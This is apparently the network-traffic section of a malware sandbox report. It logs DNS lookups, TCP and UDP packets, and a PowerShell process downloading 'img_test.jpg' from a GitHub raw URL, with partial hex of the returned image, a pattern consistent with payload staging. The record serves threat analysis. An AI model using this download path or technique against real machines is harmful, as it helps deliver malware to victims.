Oct 7, 2024 09:33:23.157342911 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.157381058 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.157394886 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.157443047 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.205843925 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.242300987 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.242327929 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.242373943 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.242429972 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.242439032 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.242491007 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.243693113 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.243717909 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.243773937 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.243781090 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.243871927 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.244702101 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.244718075 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.244798899 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.244806051 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.245655060 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.245673895 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.245747089 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.245754004 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.245774031 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.299438000 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.329525948 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.329543114 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.329567909 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.329694986 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.329694986 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.329701900 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.330002069 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.330019951 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.330099106 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.330106974 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.330773115 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.330785990 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.330847025 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.330852032 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.330910921 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.331646919 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.331680059 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.331722975 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.331728935 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.331799030 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.331799030 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.332510948 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.332529068 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.332561016 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.332596064 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.332602978 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.332681894 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.332918882 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.332938910 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.333014965 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.333023071 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.333060980 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.333775997 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.333789110 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.333868980 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.333882093 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.377546072 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.377552986 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.415771008 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.415790081 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.415941000 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.415941000 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.415956020 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.416241884 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.416255951 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.416354895 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.416361094 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.416685104 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.416733027 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.416790009 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.416798115 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.416831017 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.417222977 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.417262077 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.417295933 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.417346001 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.417346001 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.417355061 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.417454004 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.417675972 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.417690992 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.417718887 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.417797089 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.417797089 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.417804003 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.418148994 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.418165922 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.418311119 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.418318033 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.418514013 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.418529034 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.418600082 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.418606043 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.458349943 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.502497911 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.502517939 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.502547979 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.502604008 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.502615929 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.502655983 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.502881050 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.502899885 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.503007889 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.503007889 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.503015995 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.503232002 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.503246069 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.503365040 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.503371000 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.503622055 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.503643990 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.503710985 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.503720999 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504029036 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504041910 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504101992 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.504110098 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504370928 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504389048 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504441023 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.504447937 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504501104 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.504710913 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504744053 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504775047 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.504780054 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504868031 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.504900932 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504946947 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.504993916 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.505002022 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.505074978 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.549452066 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.549458027 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.589905024 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.589922905 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.590043068 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.590053082 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.590379953 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.590395927 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.590424061 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.590496063 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.590496063 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.590507030 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.590903044 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.590924025 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.591027975 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.591037035 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.591525078 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.591557026 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.591598034 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.591604948 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.591639996 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.591670036 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.591676950 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.591726065 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.591732979 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.591762066 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.592154026 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592201948 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592231035 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.592237949 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592251062 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592262983 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.592322111 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.592632055 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592669010 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592695951 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592739105 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592780113 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.592787981 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592797995 CEST	443	49760	16.182.70.97	192.168.2.6
Oct 7, 2024 09:33:23.592842102 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.592842102 CEST	49760	443	192.168.2.6	16.182.70.97
Oct 7, 2024 09:33:23.593270063 CEST	49760	443	192.168.2.6	16.182.70.97

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 09:33:16.301242113 CEST	63977	53	192.168.2.6	1.1.1.1
Oct 7, 2024 09:33:16.307971954 CEST	53	63977	1.1.1.1	192.168.2.6
Oct 7, 2024 09:33:21.055862904 CEST	61200	53	192.168.2.6	1.1.1.1
Oct 7, 2024 09:33:21.062531948 CEST	53	61200	1.1.1.1	192.168.2.6
Oct 7, 2024 09:33:22.267725945 CEST	53926	53	192.168.2.6	1.1.1.1
Oct 7, 2024 09:33:22.289293051 CEST	53	53926	1.1.1.1	192.168.2.6
Oct 7, 2024 09:33:43.916111946 CEST	53	58101	162.159.36.2	192.168.2.6
Oct 7, 2024 09:33:44.416160107 CEST	53576	53	192.168.2.6	1.1.1.1
Oct 7, 2024 09:33:44.424261093 CEST	53	53576	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 09:33:16.301242113 CEST	192.168.2.6	1.1.1.1	0x4371	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:21.055862904 CEST	192.168.2.6	1.1.1.1	0xcc35	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:22.267725945 CEST	192.168.2.6	1.1.1.1	0x1bf2	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:44.416160107 CEST	192.168.2.6	1.1.1.1	0x5c30	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 09:33:16.307971954 CEST	1.1.1.1	192.168.2.6	0x4371	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:16.307971954 CEST	1.1.1.1	192.168.2.6	0x4371	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:16.307971954 CEST	1.1.1.1	192.168.2.6	0x4371	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:16.307971954 CEST	1.1.1.1	192.168.2.6	0x4371	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:21.062531948 CEST	1.1.1.1	192.168.2.6	0xcc35	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:21.062531948 CEST	1.1.1.1	192.168.2.6	0xcc35	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:21.062531948 CEST	1.1.1.1	192.168.2.6	0xcc35	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.70.97	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.193	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.249.76	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.215.1	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.131	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.172.201	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.224.49	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:22.289293051 CEST	1.1.1.1	192.168.2.6	0x1bf2	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.72.209	A (IP address)	IN (0x0001)	false
Oct 7, 2024 09:33:44.424261093 CEST	1.1.1.1	192.168.2.6	0x5c30	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

bitbucket.org

bbuseruploads.s3.amazonaws.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49725	185.199.111.133	443	5664	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 07:33:16 UTC	117	OUT	GET /santomalo/audit/main/img_test.jpg?14441723 HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-07 07:33:17 UTC	887	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2578503 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: image/jpeg ETag: "ba4b733aa1ad403bc9cacb2a172994a886bea7b08e7a7dfb33ae1618861cbf3e" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C0A1:9717F:209D27:231F7D:67038EBC Accept-Ranges: bytes Date: Mon, 07 Oct 2024 07:33:16 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740073-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1728286397.890157,VS0,VE77 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 55472cea01be5c2ea00f60986e895ff7e260b055 Expires: Mon, 07 Oct 2024 07:38:16 GMT Source-Age: 0
2024-10-07 07:33:17 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 00 16 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 08 70 0f 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1e 00 00 00 07 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 00 09 0a ff c4 00 5f 10 00 01 03 03 03 02 04 03 06 04 03 06 03 01 01 21 01 Data Ascii: JFIF,,ExifMM*CCp"_!
2024-10-07 07:33:17 UTC	1378	IN	Data Raw: 24 18 1e 91 51 6f 5a c4 83 c0 9a 67 14 d0 b7 13 58 bc c9 51 49 0b 24 fe 82 ac 98 bc c8 5a 09 07 9e dc d5 02 dd e2 d3 9d e0 fd 4d 4e e3 ef c0 48 f3 07 cc 71 55 ad a7 82 c4 2d 34 4c 65 ef 88 13 f3 00 a1 c8 9a 9b c6 e4 4a 09 2a 50 93 c5 67 b8 dc d4 04 93 bb 81 e6 6a 7a cb 32 1c 03 9e 3b 1a ca bb 4b f2 5c ae ec 17 66 6f d2 e2 c9 07 81 db 9a 77 6d 91 9e 27 81 ef 55 16 72 68 20 6d 51 e0 53 db 5c 9e c5 70 7b f7 ac eb 34 a5 c8 5c 99 72 b6 c9 a5 6a 09 dd 13 db 9a 92 b1 c8 04 b8 08 51 1e 51 35 4d b4 c9 25 6a 32 44 cf 11 52 56 b9 12 81 24 f3 ea 6b 3e dd 31 34 6d 45 da cf 20 82 a0 24 26 7d 2a 4e de e4 00 40 33 f9 d5 22 cb 2a 54 52 b2 b1 c1 a9 cc 7e 60 38 90 24 92 0f 27 da b3 ed d3 63 82 c2 b0 b2 b6 f9 09 10 7b 89 26 69 eb 37 90 00 2a 9e 3e 95 5f 62 ed 25 00 85 73 e5 Data Ascii: $QoZgXQI$ZMNHqU-4LeJPgjz2;K\fowm'Urh mQS\p{4\rjQQ5M%j2DRV$k>14mE $&}N@3"TR~`8$'c{&i7>_b%s
2024-10-07 07:33:17 UTC	1378	IN	Data Raw: d3 36 fb 95 ce d3 e7 dc d1 db 67 fa 7c 8f 9d 42 e5 82 45 1c 8d 9a b4 51 50 e6 38 a5 3e e4 4a 7c b9 ef ef 4f 19 68 25 24 9f 2e dc d1 cb 32 92 02 b7 03 dc 11 11 4d 91 da c7 04 63 d6 9c 92 08 ef 13 4c ee 99 da 24 80 ae fd 8d 4a dc 32 12 83 c7 3d a3 bd 47 df c0 90 0c 77 f6 a9 ea 7d 88 e5 f8 2b 59 44 43 ca 06 15 35 0e f3 24 dc 42 40 ef 56 1c 9b 33 bb 90 66 a2 14 d0 4a b9 24 41 e6 2b 42 a9 60 83 01 98 64 18 22 02 92 3f 4a 92 b2 b5 da 67 ba 7b c7 95 34 b7 46 e5 90 07 35 25 6a df 1e fe d4 ac 7c 88 70 cb 13 12 39 fa d4 a5 83 40 24 13 c1 9a 67 6e 81 c9 90 94 f1 52 56 ed a4 01 04 89 20 fe 95 42 d6 4d 0e e4 a6 3f 97 01 3c c1 e0 d4 e6 39 3f cc 9d c4 8f 7a 81 b3 3b 52 23 cf f2 a9 9c 59 da b1 ef 59 97 47 25 98 48 b0 32 90 1a 04 7f ed a3 bc 99 41 88 07 d6 9b 5b bf bd 20 Data Ascii: 6g\|BEQP8>J\|Oh%$.2McL$J2=Gw}+YDC5$B@V3fJ$A+B`d"?Jg{4F5%j\|p9@$gnRV BM?<9?z;R#YYG%H2A[
2024-10-07 07:33:17 UTC	1378	IN	Data Raw: 8e 4a 64 d7 92 d8 9e f0 45 33 42 12 f0 c9 23 88 9f 78 a3 a2 dc 92 78 fd e9 54 b4 24 19 3f 4a 55 b6 b6 aa 3f 3a 61 2e e3 74 5b 13 27 b7 95 1c 5b d3 94 b1 c7 3c c7 bd 1d 0c 00 a1 00 8a 61 f0 34 16 b0 8f 51 33 47 4b 45 24 1e 38 e3 eb 4e 9b b6 fa 8f de 8c 2d 79 fe 93 f5 a6 ca 1d 44 41 0c 00 92 3c cc d3 86 d9 26 38 ef 47 43 1e 7e 54 b2 59 00 8e 60 9a 8e 4c 20 5b 66 12 27 bd 2c da 4e d1 20 40 f7 af 36 80 90 47 04 fb 9e d4 a3 68 fe 58 93 1e f5 14 98 85 19 1c cf 03 e9 4a 34 9e 3d 7d 3e 94 54 20 05 7e 5e bc 52 ed 08 1c 77 a8 98 85 52 9f 98 79 4d 2e d9 db 3e 54 92 47 cf f9 52 81 3f 28 f5 91 4c 21 64 02 76 82 4f d6 3b 52 cd 88 4c 70 07 bd 26 d2 78 1f 48 a5 d9 4c 9f 38 ef 4b 3e 07 4c 59 a4 46 de 07 f9 52 88 68 11 07 88 33 e9 45 68 02 07 a8 a5 db 4c 02 01 35 13 ee 12 Data Ascii: JdE3B#xxT$?JU?:a.t['[<a4Q3GKE$8N-yDA<&8GC~TY`L [f',N @6GhXJ4=}>T ~^RwRyM.>TGR?(L!dvO;RLp&xHL8K>LYFRh3EhL5
